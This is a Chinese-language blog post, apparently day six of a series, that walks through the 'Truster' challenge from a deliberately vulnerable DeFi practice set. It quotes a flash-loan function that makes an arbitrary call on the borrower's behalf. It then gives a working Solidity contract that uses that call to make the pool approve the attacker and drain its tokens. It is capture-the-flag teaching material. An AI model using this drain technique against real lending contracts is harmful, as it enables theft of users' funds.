iT邦幫忙

2024 iThome 鐵人賽

DAY 6
0

你現在看到的是一個前三天寫太水導致觸及被壓的人 = =
p

More and more lending pools are offering flashloans. In this case, a new pool has launched that is offering flashloans of DVT tokens for free.

The pool holds 1 million DVT tokens. You have nothing.

To pass this challenge, rescue all funds in the pool executing a single transaction. Deposit the funds into the designated recovery account.

Analyze WTF

又是一題跟閃電貸有關的題目
依照題敘,現在有一個 100 萬的資金池,我們需要執行一筆交易把資金全部轉移到一個救援帳號

這題只有一個合約,而且裡面的內容沒有到特別多,所以分析起來非常快速 owob
簡單看過合約的內容以後,我們可以發現一個有趣的地方

function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
    external
    nonReentrant
    returns (bool)
{
    uint256 balanceBefore = token.balanceOf(address(this));

    token.transfer(borrower, amount);
    target.functionCall(data); <--------------here

    if (token.balanceOf(address(this)) < balanceBefore) {
        revert RepayFailed();
    }

    return true;
}

target.functionCall(data) 這個東西非常的有趣,因為理論上它可以調用從任何地址調用任意 function,所以我們可以很輕易的把 100 萬統統打包帶走,要是現實中有那麼簡單就好了

Solve WTF

照著上面分析出來的思路,我們就可以偷偷塞把恢復帳號的地址塞進去,然後空手套白狼

雖然說是空手套白狼,但是我們在調用其它 function 的時候,閃電貸底池中的資金不能減少,所以我們需要直接調用閃電貸合約中的 approve function( ERC 20 ),至於要怎麼調用呢?問就是自己寫一個來自拉自打

所以我們先來寫一個 contract 來調用 approve

注意這個 contract 直接放在 sol 檔的最後
然後在 checkSolvedByPlayer 中直接執行就好

這邊是第一版

contract WTFBr0 {
        DamnValuableToken public token;
        TrusterLenderPool public pool;
        address public recovery;
    constructor(address tokenAddress, address poolAddress, address recoveryAddress){
        token = DamnValuableToken(tokenAddress);
        pool = TrusterLenderPool(poolAddress);
        recovery = recoveryAddress;
        pool.flashLoan(0, address(0), address(token), abi.encodeWithSignature("approve(address, uint256)", address(this), type(uint256).max));
        token.transferFrom(address(pool), recovery, token.balanceOf(address(pool)));
    }
}

結果如下,看起來像是 DamnValuableToken 有一點問題
error

看起來 code 是沒問題的,但是空格在搞 = =

abi.encodeWithSignature("approve(address, uint256)", address(this), type(uint256).max));
                                  ||
                                  \/
abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max));

因為是字串,所以沒吃到空格後面的 uint256 導致的地址錯誤,修改完後就正確了
ac

每日梗圖(1/1)
zt
感謝飛天小女警的努力,我又肝過了一天~~


上一篇
Day 5 - Naive receiver_兄弟你太天真了
下一篇
Day 7 - Side Entrance_有同學門沒關好喔
系列文
我也想成爲好駭客13
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言